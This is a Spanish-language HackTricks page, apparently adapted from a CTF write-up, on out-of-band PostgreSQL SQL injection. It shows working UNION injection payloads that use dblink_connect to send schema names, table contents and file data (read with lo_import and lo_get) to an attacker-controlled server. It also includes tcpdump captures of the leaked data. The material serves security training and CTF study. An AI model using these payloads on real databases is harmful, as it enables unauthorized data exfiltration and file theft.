hacktricks/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

177 lines
14 KiB
Markdown

# Exfiltración de datos con dblink/lo_import
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
**Este es un ejemplo de cómo exfiltrar datos cargando archivos en la base de datos con `lo_import` y exfiltrarlos usando `dblink_connect`.**
## Preparando el servidor de exfiltración/Inyección SQL asíncrona
**Extraído de:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
Debido a que `pg_sleep` tampoco causa retrasos, podemos asumir con seguridad si la ejecución de la consulta ocurre en segundo plano o de forma asíncrona.
Normalmente, `dblink_connect` se puede utilizar para abrir una conexión persistente a una base de datos PostgreSQL remota (por ejemplo, `SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`). Debido a que podemos controlar el parámetro de esta función, podemos realizar una solicitud de falsificación de petición del lado del servidor SQL a nuestro propio host. Eso significa que podemos realizar una inyección SQL fuera de banda para exfiltrar datos de los resultados de la consulta SQL. Al menos, hay dos formas de hacer esto:
1. Configurar un **servidor DNS** y luego activar la conexión a `[data].our.domain` para que podamos ver los datos en el registro o en los paquetes de red DNS.
2. Configurar un **servidor PostgreSQL público, monitorear los paquetes de red entrantes al puerto PostgreSQL**, y luego activar una conexión a nuestro host con los datos exfiltrados como `user`/`dbname`. Por **defecto**, PostgreSQL no utiliza SSL para la comunicación, por lo que podemos ver `user`/`dbname` como un texto plano en la red.
El **segundo método es más fácil** porque no necesitamos ningún dominio. Solo necesitamos configurar un servidor con una dirección IP pública, instalar PostgreSQL, configurar el servicio de PostgreSQL para que escuche en \*/0.0.0.0, y ejecutar un capturador de red (por ejemplo, tcpdump) para monitorear el tráfico al puerto PostgreSQL (5432 por defecto).
Para configurar PostgreSQL para que **escuche en público**, establezca `listen_addresses` en `postgresql.conf` en `*`.
```
listen_addresses = '*'
```
Para monitorear el tráfico entrante, ejecuta `tcpdump` para monitorear el puerto 5432.
```
sudo tcpdump -nX -i eth0 port 5432
```
Para ver si obtenemos una conexión desde el objetivo, podemos intentar usar esta consulta:
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) --
```
Si tenemos éxito, obtendremos un fragmento de paquete de red con el `usuario` y `dbname` legibles.
```
17:14:11.267060 IP [54.185.163.254.50968] > [REDACTED]: Flags [P.], seq 1:43, ack 1, win 229, options [nop,nop,TS val 970078525 ecr 958693110], length 42
0x0000: 4500 005e 9417 4000 2706 248c 36b9 a3fe E..^..@.'.$.6...
0x0010: 9de6 2259 c718 2061 5889 142a 9f8a cb5d .."Y...aX..*...]
0x0020: 8018 00e5 1701 0000 0101 080a 39d2 393d ............9.9=
0x0030: 3924 7ef6 0000 002a 0003 0000 7573 6572 9$~....*....user
0x0040: 0066 6172 6973 7600 6461 7461 6261 7365 .farisv.database
0x0050: 0068 656c 6c6f 6672 6f6d 6662 0000 .hellofromfb.
```
Entonces, podemos continuar extrayendo la base de datos usando varias consultas de PostgreSQL. Tenga en cuenta que para cada resultado de consulta que contenga espacios en blanco, debemos convertir el resultado a hex/base64 con la función `encode` o reemplazar el espacio en blanco por otro carácter con la función `replace`, ya que esto causará un error de ejecución durante el proceso de `dblink_connect`.
Obtener una **lista** de **esquemas**:
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(schema_name,':') FROM information_schema.schemata) || ' password=postgres dbname=postgres')) --
```
```
17:36:46.538178 IP 54.185.163.254.51018 > [REDACTED]: Flags [P.], seq 1:70, ack 1, win 229, options [nop,nop,TS val 971433789 ecr 960048322], length 69
0x0000: 4500 0079 ecd5 4000 2706 cbb2 36b9 a3fe E..y..@.'...6...
0x0010: 9de6 2259 c74a 2061 1e74 4769 b404 803d .."Y.J.a.tGi...=
0x0020: 8018 00e5 2710 0000 0101 080a 39e6 e73d ....'.......9..=
0x0030: 3939 2cc2 0000 0045 0003 0000 7573 6572 99,....E....user
0x0040: 0070 7562 6c69 633a 696e 666f 726d 6174 .public:informat
0x0050: 696f 6e5f 7363 6865 6d61 3a70 675f 6361 ion_schema:pg_ca
0x0060: 7461 6c6f 6700 6461 7461 6261 7365 0070 talog.database.p
0x0070: 6f73 7467 7265 7300 00 ostgres.
```
Obtener una **lista** de **tablas** en el esquema actual:
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()) || ' password=postgres dbname=postgres')) --
```
```
17:38:30.515438 IP 54.185.163.254.51026 > [REDACTED]: Flags [P.], seq 1:42, ack 1, win 229, options [nop,nop,TS val 971537775 ecr 960152304], length 41
0x0000: 4500 005d f371 4000 2706 c532 36b9 a3fe E..].q@.'..26...
0x0010: 9de6 2259 c752 2061 8dd4 e226 24a3 a5c5 .."Y.R.a...&$...
0x0020: 8018 00e5 fe2b 0000 0101 080a 39e8 7d6f .....+......9.}o
0x0030: 393a c2f0 0000 0029 0003 0000 7573 6572 9:.....)....user
0x0040: 0073 6561 7263 6865 7300 6461 7461 6261 .searches.databa
0x0050: 7365 0070 6f73 7467 7265 7300 00 se.postgres.
```
**Contar** las **filas** en la tabla `searches`.
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) FROM searches) || ' password=postgres dbname=postgres')) --
```
```
17:42:39.511643 IP 54.185.163.254.51034 > [REDACTED]: Flags [P.], seq 1:35, ack 1, win 229, options [nop,nop,TS val 971786760 ecr 960401280], length 34
0x0000: 4500 0056 7982 4000 2706 3f29 36b9 a3fe E..Vy.@.'.?)6...
0x0010: 9de6 2259 c75a 2061 5ec0 7df0 8611 357d .."Y.Z.a^.}...5}
0x0020: 8018 00e5 f855 0000 0101 080a 39ec 4a08 .....U......9.J.
0x0030: 393e 8f80 0000 0022 0003 0000 7573 6572 9>....."....user
0x0040: 0030 0064 6174 6162 6173 6500 706f 7374 .0.database.post
0x0050: 6772 6573 0000 gres.
```
Parece que solo hay una tabla vacía en el esquema actual y la bandera no está en la base de datos. Realmente necesitamos exfiltrar datos de `/var/lib/postgresql/data/secret`. Desafortunadamente, si intentamos usar `pg_read_file` o `pg_read_binary_file` para leer el archivo, no obtendremos una conexión entrante, por lo que el usuario actual puede no tener permiso para usar estas funciones.
#### Más información sobre la inyección de SQL asincrónica con PostgreSQL
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
## **Exfiltrando contenidos de objetos grandes**
Es posible leer archivos usando objetos grandes ([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html)). Podemos usar `lo_import` para cargar el contenido del archivo en el catálogo `pg_largeobject`. Si la consulta tiene éxito, obtendremos el `oid` del objeto.
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || ' password=postgres dbname=postgres')) --
```
```
17:54:51.963925 IP 54.185.163.254.51046 > [REDACTED]: Flags [P.], seq 1:39, ack 1, win 229, options [nop,nop,TS val 972519214 ecr 961133706], length 38
0x0000: 4500 005a 071f 4000 2706 b188 36b9 a3fe E..Z..@.'...6...
0x0010: 9de6 2259 c766 2061 26fb c8a7 bbb3 fe01 .."Y.f.a&.......
0x0020: 8018 00e5 2272 0000 0101 080a 39f7 772e ...."r......9.w.
0x0030: 3949 bc8a 0000 0026 0003 0000 7573 6572 9I.....&....user
0x0040: 0032 3436 3638 0064 6174 6162 6173 6500 .24668.database.
0x0050: 706f 7374 6772 6573 0000 postgres..
```
Obtuvimos 24668 como `oid`, lo que significa que podemos usar la función `lo_import`. Desafortunadamente, no obtendremos ningún resultado si intentamos obtener el contenido del objeto grande usando `lo_get(24668)` o acceder directamente al catálogo `pg_largeobject`. **Parece que el usuario actual no tiene permiso para leer el contenido de los nuevos objetos.**
Después de leer la documentación de objetos grandes en PostgreSQL, podemos descubrir que **los objetos grandes pueden tener una ACL** (Lista de Control de Acceso). Eso significa que, si hay un objeto antiguo con una ACL que permite al usuario actual leerlo, entonces podemos exfiltrar el contenido de ese objeto.
Podemos obtener una lista de `oid` de objetos grandes disponibles extrayéndolos de `pg_largeobject_metadata`.
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --
```
```
18:06:57.172285 IP 54.185.163.254.51052 > [REDACTED]: Flags [.], seq 1:2897, ack 1, win 229, options [nop,nop,TS val 973244413 ecr 961858878], length 2896
0x0000: 4500 0b84 7adf 4000 2606 339e 36b9 a3fe E...z.@.&.3.6...
0x0010: 9de6 2259 c76c 2061 8d76 e934 10c9 3972 .."Y.l.a.v.4..9r
0x0020: 8010 00e5 a66d 0000 0101 080a 3a02 87fd .....m......:...
0x0030: 3954 cd3e 0000 1c94 0003 0000 7573 6572 9T.>........user
0x0040: 0031 3635 3731 3a31 3634 3339 3a31 3635 .16571:16439:165
0x0050: 3732 3a31 3634 3431 3a31 3634 3432 3a31 72:16441:16442:1
0x0060: 3733 3732 3a31 3634 3434 3a31 3634 3435 7372:16444:16445
0x0070: 3a31 3831 3534 3a31 3733 3830 3a31 3737 :18154:17380:177
0x0080: 3038 3a31 3635 3737 3a31 3634 3530 3a31 08:16577:16450:1
0x0090: 3634 3531 3a31 3634 3532 3a31 3634 3533 6451:16452:16453
.....
.....
.....
```
Tenemos un montón de `oid`s. Podemos intentar usar `lo_get` para cargar el contenido del objeto. Por ejemplo, `lo_get(16439)` cargará el contenido de `/etc/passwd`. Debido a que el resultado de `lo_gets` es `bytea`, necesitamos convertirlo a `UTF8` para que se pueda agregar en la consulta.
Podemos intentar cargar algunos objetos con el `oid` más bajo para averiguar si el archivo de la bandera ha sido cargado antes. El objeto del archivo de la bandera existe con `oid` 16444. No hay espacios en blanco en la bandera, por lo que podemos mostrarla tal cual.
Para cargar la bandera:
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_from(lo_get(16444), 'UTF8')) || ' password=postgres dbname=p
```
#### Más información sobre oid:
* [https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module](https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module)
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>